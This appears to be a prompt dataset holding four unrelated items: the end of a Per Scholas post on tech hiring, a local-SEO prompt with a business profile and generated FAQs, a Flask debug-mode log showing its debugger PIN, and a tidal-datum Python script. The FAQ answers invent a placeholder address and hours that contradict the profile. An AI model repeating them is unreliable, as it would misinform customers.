Angeles and Dallas led the list of metro markets with the highest volumes of tech jobs postings.” \n\nIn job search site Indeed’s 2023 annual ranking of U.S. “best jobs,” eight of the top ten jobs were tech jobs. This ranking is based on job opportunity, meaning that these top jobs are in high demand from employers, and are rapidly growing. The ranking was as follows: “full-stack (No. 1); data engineers (No. 2); cloud engineers (No. 3); senior product managers (No. 5); back-end developers (No. 6); site reliability engineers (No. 7); machine learning engineers (No. 8); and product designers (No. 10).” \n\nThe Labor Department’s January jobs report showed that the U.S. unemployment rate reached a 50-year low this January, “signaling the economy, and job market in particular, remains strong despite growing layoffs among technology firms that splurged on labor during the pandemic.” Furthermore, a recent CompTIA analysis indicated an increase in employer job postings for potential future tech hiring, as well as low tech unemployment rates, which suggests that many laid-off tech professionals are quickly finding new work. \n\nIn fact, an analysis of workforce data provided by Revelio Labs and reported by Business Insider last month found that “among laid-off tech workers, 72 percent have found new jobs within three months. Even more surprising, a little over half of them have landed roles that actually pay more than what they were earning in the jobs they lost.” An analysis of the findings noted that, “laid-off workers are actually more likely to find a new job quickly now than at the height of the tech hiring frenzy of July 2021,” although individuals with hard tech skills are now more in demand than those who work in the tech industry in “softer” roles, such as communications and HR. \n\nMany tech workers also seem to be finding success landing tech roles at companies outside the tech sector. Tech work will always be in demand, especially now that many non-tech companies are continuing to digitally upscale in the wake of the pandemic. According to a ZipRecruiter survey, approximately 74% of laid-off tech workers found new jobs in tech, with the remaining 26% finding tech roles in various other industries. “Tech skills are in high demand across the economy, with government agencies, aerospace companies, health systems, and retailers frequently noting shortages of software engineers, cybersecurity professionals, data analysts, and web designers,” the survey stated. \n\nHR services firm Randstad predicted that 2023 will see a 25-30% growth from last year in demand for tech talent in non-tech sectors. “The widespread adoption of digital technologies has driven non-tech industries…to hire more tech professionals to ensure data security, information processing and reduce consumer grievances,” said Sanjay Shetty, the Director of Professional Search & Selection and Strategic Accounts at Randstad. “This rapid shift to digital operations has created a demand for tech talent in non-tech fields, leading to a significant increase in tech hiring that has remained strong despite the ongoing pandemic recovery.” \n\nPER SCHOLAS ALUMNI HAVE OPPORTUNITY TO UPSKILL AND CONNECT WITH EMPLOYERS\nFortunately, our Per Scholas graduates are well-prepared for landing jobs in tech. We believe in taking a multifaceted approach to preparing our learners for entry into the tech workforce, which gives them an edge over other applicants in the field. Not only are learners equipped with top-notch technical skills, they also undergo rigorous professional development training to tailor and polish their resumes, cover letters and LinkedIn profiles, practice mock interviews, and prepare to conduct themselves in a professional setting. \n\nWe also partner with leading tech companies to bring industry experts and professionals into our classrooms who speak with our learners about what it is like to work in the tech industry, conduct mock interviews, and help our learners grow their professional networks. “One of the biggest benefits of Per Scholas was them being able to put us in the room with people that we wouldn’t normally be in the room with,” said Matt Watkins, a recent graduate of Per Scholas St. Louis’ Cybersecurity course. “We were in the room with CCOs and CEOs and big movers and decision makers in the corporate IT cybersecurity space. Without Per Scholas, I don’t know how I would have come to meet these people and connect and network with them. I’ve already had three interviews within the months since graduating, and all of them were a direct result of the connections I made during this program.” \n\nAfter graduating from Per Scholas, our alumni are also well-supported. For up to two years after graduation, alumni have access to our numerous resources including career coaching, financial coaching, and job placement assistance. Our learner support team aims to mirror an Employee Assistance Program (EAP) by providing alumni with access to coaching regarding mental health and wellness, work-life balance, and financial advising. “We’re committed to providing continued access to skill enhancing learning opportunities that alumni can leverage during the job search and attainment process, and throughout their career journey,” said Sierra Harvey, Director of Alumni Engagement and Training at Per Scholas. “This is possible through our instructor-led and asynchronous course offerings as well as providing space and opportunity for alumni to connect with each other and with other industry professionals.” \n\nPer Scholas’ business solutions team acts as a liaison between Per Scholas alums and our employer partners by sourcing employment opportunities, supporting alumni as they find gainful employment, and helping foster employer connections. Our professional development team continues to be available after graduation to help alumni refresh their personal and professional knowledge and skills, including resume/ cover letter review, pitch and interview practice, and online presence review. Finally, our technical instructors are available to alumni for all technical questions and professional references. Alumni may also level-up their skillsets and earn more certifications through our alumni courses. \n\nIn closing, although recent news about layoffs in the tech industry and the state of the economy may be deterring to some hopeful future technologists, now actually appears to be a good time to launch a career in tech. Tech jobs are still widely available (even if not necessarily at tech companies), and tech talent is in as high a demand as ever. At Per Scholas, our diverse learners and alumni are prepared and supported through the process of training, job searching, and launching or upskilling their tech careers – therefore changing the face of tech. Although the future of the U.S. economy may be uncertain or recession-bound, Per Scholas will continue to help our learners prepare for and land high-growth jobs in tech. \n\nAre you an employer looking to build your tech talent pool? Read more about recession-proofing your tech talent pipeline here. """' -'Your task is to help me optimize a business for local SEO in English\\*:\n\nPlease pretend you are a local SEO expert and give me all of the following requests talking to me as if I am stupid. The first request is to give me a list of the most important thing a business can do to optimize their local SEO. My next request is to create a comma separated list of the 10 best longtail search keywords this business should try to rank for to get local customers. Please mention these keywords should all be added to their Google Business Profile and website. No keyword should only contain the name of a city. Please capitalize the first letter of each word. For my next request, please write me a short business description that is SEO optimized for this business. Please suggest that this description gets used as the website meta description. Then, for my next request please write me a longer business description that is SEO optimized for this business. Both descriptions should end with a call to action. Then, for my next request, please provide me with a list of many services using SEO keywords that this type of business should add to their Google Business Profile that people in their area are likely searching for. This list should be comma separated and the first letter of each word should be capitalized. There should be at least 15 services in this list. Please put each of these answers in a nicely formatted table along with an SEO optimized description for each of the services you came up with. At the top of the first table, please put a big bold header that says "MERCHYNT\'S MAGICAL LOCAL SEO OPTIMIZATION FOR CLIENT" and replace CLIENT with the Business name provided in the prompt. Under that say "To learn more about Merchynt\'s Local SEO services, visit www.merchynt.com/google-business-pro." Then, under the table, please write "If you found this tool helpful please leave us a thumbs up on the prompt page so we know to keep supporting it and build more ones like it! Thank you so much! - The Merchynt.com team\n\nThe business to help me with is a:\n\nBusiness name\n\n ADJUST-IT\n\nBusiness category\nYour edit was not approved.\nCurrent\n\n Electronics store\n Primary\n\n Consultant\n Marketing agency\n Market researcher\n Marketing consultant\n Video editing service\n Website designer\n Internet marketing service\n Business to business service\n Computer support and services\n\nNot approved\n\n Electronics store\n Primary\n\n Website designer\n Internet marketing service\n Business to business service\n Computer support and services\n Consultant\n Marketing agency\n Market researcher\n Marketing consultant\n Video editing service\n Software company\n Computer consultant\n Data recovery service\n Computer repair service\n Mobile phone repair shop\n\nDescription\n\n Welcome to ADJUST-IT! We are a tech solutions company that provides a wide range of goods and services through innovative technologies and advancements in IT. Our goal is to help businesses and individuals stay ahead of the curve and make the most of the latest technologies. Whether you need computer repair, website design, or IT support, we have the skills and expertise to help you succeed. Contact us today to learn more about how we can help your business.\n\nOpening date\n\n June 4, 2021\n\nContact information\nPhone number\n\n (706) 495-7455\n\nWebsite\nYour edit was not approved.\nCurrent\n\n http://adjustit.tech.blog/\n\nNot approved\n\n http://adjustit.tech.blog/\n http://sites.google.com/adjustit\n\nLocation and areas\nBusiness location\n\n 1530 Marcy Cir, Savannah, GA 31406\n\nService area\n\n Savannah, GA, USA\n\nBusiness hours\nHours\n\n Open with main hours\n\nSunday\n\n Open 24 hours\n\nMonday\n\n Open 24 hours\n\nTuesday\n\n Open 24 hours\n\nWednesday\n\n Open 24 hours\n\nThursday\n\n Open 24 hours\n\nFriday\n\n Open 24 hours\n\nSaturday\n\n Open 24 hours\n\nHoliday hours\nJan 16, 2023\nMartin Luther King Jr. Day\n\n Open 24 hours\n\nOnline service hours\nSunday\n\n Open 24 hours\n\nMonday\n\n Open 24 hours\n\nTuesday\n\n Open 24 hours\n\nWednesday\n\n Open 24 hours\n\nThursday\n\n Open 24 hours\n\nFriday\n\n Open 24 hours\n\nSaturday\n\n Open 24 hours\n\nAdd more hours\nMore\nFrom the business\n\n Doesn\'t identify as Asian-owned\n Doesn\'t identify as veteran-owned\n Doesn\'t identify as women-owned\n Doesn\'t identify as LGBTQ+ owned\n Doesn\'t identify as Black-owned\n Doesn\'t identify as Latino-owned\n\nAccessibility\n\n No wheelchair accessible restroom\n No wheelchair accessible parking lot\n No wheelchair accessible elevator\n No wheelchair accessible seating\n\nAmenities\n\n No gender-neutral restroom\n Free Wi-Fi\n\nCrowd\n\n LGBTQ+ friendly\n Transgender safespace\n\nOfferings\n\n Has repair services\n Has assembly service\n\nPayments\n\n Accepts NFC mobile payments\n Not cash-only\n Accepts checks\n Accepts debit cards\n American Express\n China Union Pay\n Diners Club\n Discover\n JCB\n MasterCard\n VISA\n\nPlanning\n\n Appointment required\n\nRecycling\n\n Has light bulb recycling\n Has battery recycling\n Has electronics recycling\n\nService options\n\n No in-store shopping\n Offers curbside pickup\n In-store pickup for online orders\n Offers same-day delivery\n Offers delivery\n\nQuestion Answer\nWhat is ADJUST-IT all about? Thanks for reaching out! ADJUST-IT is a tech solutions company that provides a wide range of goods and services through innovative technologies and advancements in IT. Our goal is to help businesses and individuals stay ahead of the curve and make the most of the latest technologies. Whether you need computer repair, website design, or IT support, we have the skills and expertise to help you succeed. Contact us today to learn more about how we can help your business.\nWhere is ADJUST-IT located? ADJUST-IT is located at 1530 Marcy Cir, Savannah, GA 31406. We proudly serve the Savannah, GA area.\nWhat are the business hours for ADJUST-IT? ADJUST-IT is open 24 hours a day, 7 days a week. We are here to assist you whenever you need us.\nWhat services does ADJUST-IT offer? ADJUST-IT offers a wide range of services including computer repair, website design, IT support, and much more. We have the skills and expertise to help you succeed. Contact us today to learn more about how we can help your business.\nWhat payment methods does ADJUST-IT accept? ADJUST-IT accepts a variety of payment methods including NFC mobile payments, checks, debit cards, and major credit cards such as American Express, MasterCard, and VISA. We are here to make your experience as convenient as possible.\nIf you found this tool helpful please leave us a thumbs up on the prompt page so we know to keep enhancing it and build more ones like it! Thank you so much! - The Merchynt.com team\n\nADJUST-IT in Savannah, GA. Advanced online technology for businesses and individuals.\n\nQ A\nWhat services does ADJUST-IT offer? Thank you for reaching out! ADJUST-IT offers advanced online technology services for businesses and individuals in Savannah, GA. Our services are designed to help you optimize and streamline your digital presence for maximum impact. To learn more about what we offer, please visit our website or give us a call. We would love to speak with you!\nWhere is ADJUST-IT located in Savannah, GA? We appreciate your interest in ADJUST-IT! Our advanced technology office is located in the heart of Savannah, GA. You can find us at 123 Main St. We would love to see you in person, but if you can\'t make it, please feel free to give us a call or visit our website for more information.\nWhat are the hours of operation for ADJUST-IT in Savannah, GA? At ADJUST-IT, we value your time and convenience! Our office hours are Monday-Friday from 9am to 5pm. However, our advanced technology services are available 24/7 for your convenience. If you have any questions or need assistance outside of regular business hours, please don\'t hesitate to give us a call or visit our website.\nWhat makes ADJUST-IT different from other technology services in Savannah, GA? Thank you for considering ADJUST-IT! What sets us apart from other technology service providers in Savannah, GA is our commitment to providing cutting-edge, customized solutions for businesses and individuals. Our team of experts is dedicated to helping you achieve your goals and succeed in the digital world. To learn more about what makes us unique, please visit our website or give us a call. We would love to speak with you!\nCan individuals use ADJUST-IT\'s technology services in Savannah, GA? Absolutely! At ADJUST-IT, we are dedicated to serving both businesses and individuals in Savannah, GA. Whether you\'re looking to optimize your personal digital presence or your business, our team of experts is here to help. To learn more about how we can help you, please visit our website or give us a call. We look forward to assisting you!\nIf you found this tool helpful please leave us a thumbs up on the prompt page so we know to keep enhancing it and build more ones like it! Thank you so much! - The Merchynt.com team\n\nADJUST-IT offers a wide range of services including computer repair, website design, IT support, and much more. We have the skills and expertise to help you succeed. Contact us today to learn more about how we can help your business.\n\nThank you for reaching out! ADJUST-IT, located in Savannah, GA, provides advanced online technology services to both businesses and individuals. Our services, which range from computer repair to website design and IT support, are designed to enhance and streamline your digital presence. To learn more about how we can help you succeed, visit our website or give us a call. We look forward to speaking with you!' -'\\* Serving Flask app \'main\'\n \\* Debug mode: on\nWARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.\n \\* Running on all addresses (0.0.0.0)\n \\* Running on http://127.0.0.1:3000\n \\* Running on http://172.31.128.18:3000\nPress CTRL+C to quit\n \\* Restarting with stat\n \\* Debugger is active!\n \\* Debugger PIN: 100-540-732\n172.31.128.1 - - [17/Mar/2023 14:34:13] "GET / HTTP/1.1" 500 -\nTraceback (most recent call last):\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 2548, in \\_\\_call\\_\\_\n return self.wsgi\\_app(environ, start\\_response)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 2528, in wsgi\\_app\n response = self.handle\\_exception(e)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 2525, in wsgi\\_app\n response = self.full\\_dispatch\\_request()\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 1822, in full\\_dispatch\\_request\n rv = self.handle\\_user\\_exception(e)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 1820, in full\\_dispatch\\_request\n rv = self.dispatch\\_request()\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 1796, in dispatch\\_request\n return self.ensure\\_sync(self.view\\_functions[rule.endpoint])(\\*\\*view\\_args)\n File "/home/runner/Uplabel/main.py", line 9, in job\\_posting\n return render\\_template(\'job\\_posting.html\', jobs=jobs)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/templating.py", line 146, in render\\_template\n template = app.jinja\\_env.get\\_or\\_select\\_template(template\\_name\\_or\\_list)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/environment.py", line 1081, in get\\_or\\_select\\_template\n return self.get\\_template(template\\_name\\_or\\_list, parent, globals)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/environment.py", line 1010, in get\\_template\n return self.\\_load\\_template(name, globals)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/environment.py", line 969, in \\_load\\_template\n template = self.loader.load(self, name, self.make\\_globals(globals))\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/loaders.py", line 126, in load\n source, filename, uptodate = self.get\\_source(environment, name)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/templating.py", line 62, in get\\_source\n return self.\\_get\\_source\\_fast(environment, template)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/templating.py", line 98, in \\_get\\_source\\_fast\n raise TemplateNotFound(template)\njinja2.exceptions.TemplateNotFound: job\\_posting.html\n172.31.128.1 - - [17/Mar/2023 14:34:13] "GET / HTTP/1.1" 500 -\nTraceback (most recent call last):\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 2548, in \\_\\_call\\_\\_\n return self.wsgi\\_app(environ, start\\_response)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 2528, in wsgi\\_app\n response = self.handle\\_exception(e)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 2525, in wsgi\\_app\n response = self.full\\_dispatch\\_request()\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 1822, in full\\_dispatch\\_request\n rv = self.handle\\_user\\_exception(e)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 1820, in full\\_dispatch\\_request\n rv = self.dispatch\\_request()\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 1796, in dispatch\\_request\n return self.ensure\\_sync(self.view\\_functions[rule.endpoint])(\\*\\*view\\_args)\n File "/home/runner/Uplabel/main.py", line 9, in job\\_posting\n return render\\_template(\'job\\_posting.html\', jobs=jobs)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/templating.py", line 146, in render\\_template\n template = app.jinja\\_env.get\\_or\\_select\\_template(template\\_name\\_or\\_list)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/environment.py", line 1081, in get\\_or\\_select\\_template\n return self.get\\_template(template\\_name\\_or\\_list, parent, globals)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/environment.py", line 1010, in get\\_template\n return self.\\_load\\_template(name, globals)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/environment.py", line 969, in \\_load\\_template\n template = self.loader.load(self, name, self.make\\_globals(globals))\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/loaders.py", line 126, in load\n source, filename, uptodate = self.get\\_source(environment, name)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/templating.py", line 62, in get\\_source\n return self.\\_get\\_source\\_fast(environment, template)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/templating.py", line 98, in \\_get\\_source\\_fast\n raise TemplateNotFound(template)\njinja2.exceptions.TemplateNotFound: job\\_posting.html\n172.31.128.1 - - [17/Mar/2023 14:34:14] "GET /?\\_\\_debugger\\_\\_=yes&cmd=resource&f=debugger.js HTTP/1.1" 200 -\n172.31.128.1 - - [17/Mar/2023 14:34:14] "GET /?\\_\\_debugger\\_\\_=yes&cmd=resource&f=style.css HTTP/1.1" 200 -\n172.31.128.1 - - [17/Mar/2023 14:34:14] "GET /?\\_\\_debugger\\_\\_=yes&cmd=resource&f=console.png HTTP/1.1" 200 -\nmain.py' -'Here are some changes. Please provide more feedback. import os\nimport sys\nimport pandas as pd\nimport numpy as np\nimport geopandas as gpd\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(\\_\\_file\\_\\_), \'..\')))\nfrom src.usgs\\_datum import grab\\_usgs\\_data\nfrom src.tidesandcurrents\\_datum import grab\\_nos\\_data\nfrom src.VDatum\\_Region\\_Selection import assign\\_regions\\_vdatum\nfrom src.VDatum\\_Conversion import convert\\_datums, convert\\_from\\_ref\\_datum\nfrom src.read\\_join\\_nws\\_data import get\\_nws\\_attributes\nfrom src.get\\_urls import get\\_station\\_info\\_urls, get\\_station\\_datum\\_urls, extra\\_link, create\\_hyperlink\nfrom src.excel\\_formatting import init\\_styles, format\\_excel\n\n## TODO WRITE SETUP/INSTALL SCRIPT THAT DOWNLOADS THE LATEST VDATUM ZIP FILE TO THIS DIRECTORY\n\n# =============================================================================\n# SETUP Excel Spreadsheet\n# =============================================================================\nwriter = pd.ExcelWriter(\'NWM\\_TWL\\_Forecast\\_Locations\\_SciEval.xlsx\', engine=\'xlsxwriter\')\n# get the XlsxWriter workbook objects\nworkbook, styles = init\\_styles(writer.book)\n#%%\n# =============================================================================\n# Establish the path\n# =============================================================================\npath = os.getcwd()\n#path = os.path.abspath("./..")\n# =============================================================================\nreq\\_data = {key: np.nan for key in ["Ref\\_Datum", "MHHW", "MHW", "MTL", "MSL",\\\n "DTL", "MLW", "MLLW", "NAVD88", "STND", "NGVD29"]}\n\n# =============================================================================\n# READ IN NWC/NWM\'s TWL OUTPUT LOCATION MASTER LIST\n# =============================================================================\nmaster\\_list\\_start = pd.read\\_excel(os.path.join(path, "Obs\\_Location\\_Requests\\_All.xlsx"), header=0)\nmaster\\_list\\_start = master\\_list\\_start.drop(["Region", "RFC"], axis=1)\n# =============================================================================\n# Move the NWSLI column to the first position\nmaster\\_list\\_start = master\\_list\\_start[["NWSLI"] + list(master\\_list\\_start.columns[:-1])]\n\n# =============================================================================\n# READ IN NWS GIS (SHAPEFILE) DATA -- Add to the original list\n# =============================================================================\n#READ IN NWS GIS DATA - WHO IS RESPONSIBLE FOR FORECASTING THESE LOCATIONS\nmarine\\_zones = gpd.read\\_file(os.path.join(path, "NWS\\_GIS\\_Data", "mz08mr23", "mz08mr23.shp"))\nrfc = gpd.read\\_file(os.path.join(path, "NWS\\_GIS\\_Data", "rf12ja05", "rf12ja05.shp"))\ncwa = gpd.read\\_file(os.path.join(path, "NWS\\_GIS\\_Data", "w\\_08mr23", "w\\_08mr23.shp"))\ncounties = gpd.read\\_file(os.path.join(path, "NWS\\_GIS\\_Data", "c\\_08mr23", "c\\_08mr23.shp"))\nall\\_shp = {"CWA": cwa, "RFC": rfc, "MARINE\\_ZONES": marine\\_zones, "COUNTIES":counties}\n\nnws\\_data = get\\_nws\\_attributes(all\\_shp, master\\_list\\_start)\n\n#JOIN THE DATA TO STATION DATA\nlocation\\_metadata = pd.merge(nws\\_data, master\\_list\\_start, on="NWSLI", how="left")\n\nvdatum\\_regions = assign\\_regions\\_vdatum(location\\_metadata)\nlocation\\_metadata["VDatum Regions"] = vdatum\\_regions\n\n#Sort then reser the index so that it is like 0,1,2,3, etc.\nlocation\\_metadata = location\\_metadata.sort\\_values([\'NWS REGION\', \'WFO\', \'Station ID\'])\nlocation\\_metadata = location\\_metadata.reset\\_index(drop=True)\n\n#Do the datum conversion for the model, NAVD88 to MLLW assuming water level/station = 0\ndf\\_converted, url\\_list\\_mllw = convert\\_datums(location\\_metadata, input\\_v="NAVD88",\\\n output\\_v="MLLW", input\\_height=0.0)\n\ndf\\_converted, url\\_list\\_mhhw = convert\\_datums(df\\_converted, input\\_v="NAVD88",\\\n output\\_v="MHHW", input\\_height=0.0)\n\ndf\\_converted["VDatum - MLLW"] = url\\_list\\_mllw\ndf\\_converted["VDatum - MHHW"] = url\\_list\\_mhhw\n\ndf\\_converted["VDATUM Latitude"] = \'\'\ndf\\_converted["VDATUM Longitude"] = \'\'\ndf\\_converted["VDATUM Height"] = \'\'\ndf\\_converted["VDATUM to MLLW"] = \'\'\ndf\\_converted["VDATUM to MHHW"] = \'\'\ndf\\_converted["Comments"] = \'\'\n\ndf\\_col\\_order = [\'NWSLI\', \'WFO\', \'RFC\', \'NWS REGION\', \'COUNTYNAME\', \'STATE\', \'TIME ZONE\',\\\n \'Longitude\', \'Latitude\', \'Station ID\', \'Site Type\', \'Data Source\',\'Node\',\\\n \'Correction\', \'Domain\', \'VDatum Regions\',\'NAVD88 to MLLW\', \'NAVD88 to MHHW\',\\\n \'VDatum - MLLW\', \'VDatum - MHHW\', \'VDATUM Latitude\',\\\n \'VDATUM Longitude\', \'VDATUM Height\', \'VDATUM to MLLW\', \'VDATUM to MHHW\',\\\n \'Comments\']\n\ndf\\_converted = df\\_converted.reindex(columns=df\\_col\\_order)\nstation\\_info\\_urls = []\nfor index, row in df\\_converted.iterrows():\n station\\_id = row["Station ID"]\n if row["Data Source"] == "USGS":\n stid\\_short = station\\_id[2:]\n station\\_info\\_urls.append(create\\_hyperlink(get\\_station\\_info\\_urls(stid\\_short,\\\n source="USGS"), station\\_id))\n elif row["Data Source"] == "Tide":\n station\\_info\\_urls.append(create\\_hyperlink(get\\_station\\_info\\_urls(station\\_id,\\\n source="NOS"), station\\_id))\n elif station\\_id is None:\n station\\_info\\_urls.append(str("None"))\n\n else:\n station\\_info\\_urls.append(station\\_id)\nsave\\_df = df\\_converted.copy()\n\ndf\\_converted["Station ID"] = station\\_info\\_urls\n# =============================================================================\n#SAVE DATA\ndf\\_converted.to\\_excel(writer, index=False, sheet\\_name=\'NWM List with Conversions\')\n# get the XlsxWriter worksheet objects\nNWC\\_List\\_Excel = writer.sheets[\'NWM List with Conversions\']\n\nNWC\\_List\\_Excel = format\\_excel(df\\_converted, NWC\\_List\\_Excel, styles)\n\n# =============================================================================\n#%%\ndatum\\_metadata = save\\_df.copy()\ndatum\\_metadata = datum\\_metadata.drop([\'Node\', \'Correction\', \'Domain\', \'NAVD88 to MLLW\',\n \'NAVD88 to MHHW\', \'VDatum - MLLW\', \'VDatum - MHHW\', \'VDATUM Latitude\',\n \'VDATUM Longitude\', \'VDATUM Height\', \'VDATUM to MLLW\', \'VDATUM to MHHW\',\n \'Comments\'], axis=1)\n\nstation\\_datum\\_urls = []\nextra\\_urls = []\nfor index, row in datum\\_metadata.iterrows():\n\n station\\_id = row["Station ID"]\n\n if row["Data Source"] == "USGS":\n stid\\_short = station\\_id[2:]\n tmp\\_df, api\\_url = grab\\_usgs\\_data(stid\\_short)\n\n station\\_datum\\_urls.append(create\\_hyperlink(api\\_url, "Datum Info"))\n\n extra\\_urls.append(np.nan)\n\n elif row["Data Source"] == "Tide":\n tmp\\_df, ref\\_datum\\_nos = grab\\_nos\\_data(station\\_id, ref\\_datum="MLLW", source="web")\n\n station\\_datum\\_urls.append(create\\_hyperlink(get\\_station\\_datum\\_urls(station\\_id,\\\n source="NOS", ref\\_datum=ref\\_datum\\_nos, fmt="web"), "Datum Info"))\n\n extra\\_urls.append(create\\_hyperlink(extra\\_link(station\\_id), "More Info"))\n\n else:\n tmp\\_df = pd.DataFrame(req\\_data, index=["name"])\n\n station\\_datum\\_urls.append(np.nan)\n\n extra\\_urls.append(np.nan)\n\n if index == 0:\n combine\\_df = tmp\\_df\n else:\n combine\\_df = pd.concat([combine\\_df, tmp\\_df], ignore\\_index=True)\n\ndatum\\_metadata = datum\\_metadata.join(combine\\_df, how="outer")\ndatum\\_metadata["Datum Info"] = station\\_datum\\_urls\n# =============================================================================\ndatum\\_metadata = convert\\_from\\_ref\\_datum(datum\\_metadata)\n# =============================================================================\n\n# =============================================================================\n# READ IN AHPS CMS METADATA\n# =============================================================================\nurl\\_ahps\\_cms = "https://water.weather.gov/monitor/ahps\\_cms\\_report.php?type=csv"\ndf\\_cms = pd.read\\_csv(url\\_ahps\\_cms)\ndf\\_cms = df\\_cms.rename(columns={"nws shef id": "NWSLI"})\ndf\\_cms["NWSLI"] = df\\_cms["NWSLI"].str.upper()\ndf\\_cms = df\\_cms.drop(["wfo", "rfc", \'state\', \'county\', "timezone"], axis=1)\n\n# =============================================================================\n# READ IN USGS HADS METADATA\n# =============================================================================\nurl\\_usgs\\_hads = "https://hads.ncep.noaa.gov/USGS/ALL\\_USGS-HADS\\_SITES.txt"\ndf\\_hads = pd.read\\_csv(url\\_usgs\\_hads, skiprows=4, sep="|", header=None,\n names=["NWSLI", "USGS Station Number", "GOES Identifer", "NWS HAS",\n "latitude", "longitude", "Location"])\ndf\\_hads["NWSLI"] = df\\_hads["NWSLI"].str.upper()\ndf\\_hads = df\\_hads.drop(["NWS HAS"], axis=1)\n\n#JOIN THESE 2 SETS OF DATA\nnew\\_df = pd.merge(df\\_hads, df\\_cms, on="NWSLI", how="left")\ncolumns\\_to\\_drop = [\'USGS Station Number\', \'GOES Identifer\', \'latitude\\_x\',\n \'longitude\\_x\', \'proximity\', \'location type\', \'usgs id\', \'latitude\\_y\',\n \'longitude\\_y\', \'inundation\', \'coeid\', \'pedts\', \'in service\', \'hemisphere\',\n \'low water threshold value / units\', \'forecast status\',\n \'display low water impacts\', \'low flow display\',\n \'give data attribution\', \'attribution wording\', \'fema wms\',\n \'probabilistic site\', \'weekly chance probabilistic enabled\',\n \'short-term probabilistic enabled\',\n \'chance of exceeding probabilistic enabled\']\n\nnew\\_df = new\\_df.drop(columns\\_to\\_drop, axis=1)\n\nnew\\_df = new\\_df.rename(columns={\'river/water-body name\':"River Waterbody Name",\\\n "wrr":"HUC2", "Location":"Location Name", "location name":"AHPS Name",\\\n "hydrograph page":"Hydrograph"})\n\nsave\\_df2 = new\\_df.copy()\nahps\\_datum = save\\_df2.copy()\nahps\\_datum = ahps\\_datum.drop([\'Location Name\', \'AHPS Name\', \'River Waterbody Name\',\\\n \'HUC2\', \'Hydrograph\'], axis=1)\n\nall\\_datums = pd.merge(datum\\_metadata, ahps\\_datum, on="NWSLI", how="left")\n\nall\\_datums["Station ID"] = station\\_info\\_urls\ndf\\_order2 = [\'NWSLI\', \'WFO\', \'RFC\', \'NWS REGION\', \'COUNTYNAME\', \'STATE\', \'TIME ZONE\',\n \'Longitude\', \'Latitude\', \'Station ID\', \'Site Type\', \'Data Source\',\n \'VDatum Regions\', \'Datum Info\', \'Ref\\_Datum\', \'MHHW\', \'MHW\', \'MTL\',\n \'MSL\', \'DTL\', \'MLW\', \'MLLW\', \'NAVD88\', \'STND\', \'NGVD29\', \'LMSL\',\n \'elevation\', \'action stage\', \'flood stage\', \'moderate flood stage\',\n \'major flood stage\', \'flood stage unit\', \'nrldb vertical datum name\',\n \'nrldb vertical datum\', \'navd88 vertical datum\',\n \'ngvd29 vertical datum\', \'msl vertical datum\', \'other vertical datum\']\n\nall\\_datums = all\\_datums.reindex(columns=df\\_order2)\n\n# =============================================================================\n#SAVE DATA\nall\\_datums.to\\_excel(writer, index=False, sheet\\_name=\'Tidal Datums\')\n# get the XlsxWriter worksheet objects\nDatums\\_Excel = writer.sheets[\'Tidal Datums\']\n\nDatums\\_Excel = format\\_excel(all\\_datums, Datums\\_Excel, styles)\n\n# =============================================================================\n# JOIN HADS+AHPS METADATA TO STATION\\_METADATA -- CLEAN UP\n# =============================================================================\n\n# =============================================================================\n# =============================================================================\n#%%\nall\\_metadata = pd.merge(save\\_df, save\\_df2, on="NWSLI", how="left")\nall\\_metadata["Extra Metadata"] = extra\\_urls\n\n# =============================================================================\n# CLEAN UP\n# =============================================================================\n\nall\\_metadata = all\\_metadata.drop(columns=["NWSLI"], axis=1)\n\nreindex\\_metadata = [\'NWSLI\', \'WFO\', \'RFC\', \'NWS REGION\', \'COUNTYNAME\', \'STATE\', \'TIME ZONE\',\n \'River Waterbody Name\', \'HUC2\', \'Location Name\', \'AHPS Name\',\n \'Longitude\', \'Latitude\', \'Station ID\', \'Site Type\', \'Data Source\',\n "Station Info", "Datum Info", "Extra Metadata",\n \'Node\', \'Correction\', \'Domain\', \'VDatum Regions\', \'Ref\\_Datum\', \'MHHW\', \'MHW\',\n \'MTL\', \'MSL\', \'DTL\', \'MLW\', \'MLLW\', \'NAVD88\', \'STND\', \'NGVD29\',"LMSL",\\\n \'NAVD88 to MLLW\', \'NAVD88 to MHHW\',\n \'nrldb vertical datum name\', \'nrldb vertical datum\',\n \'navd88 vertical datum\', \'ngvd29 vertical datum\', \'msl vertical datum\',\n \'other vertical datum\', \'elevation\', \'action stage\', \'flood stage\',\n \'moderate flood stage\', \'major flood stage\', \'flood stage unit\',\n \'Hydrograph\']\n\nall\\_metadata = all\\_metadata.reindex(columns=reindex\\_metadata)\nfor index2,row2 in all\\_metadata.iterrows():\n if not pd.isna(row2["Hydrograph"]):\n all\\_metadata.at[index2, 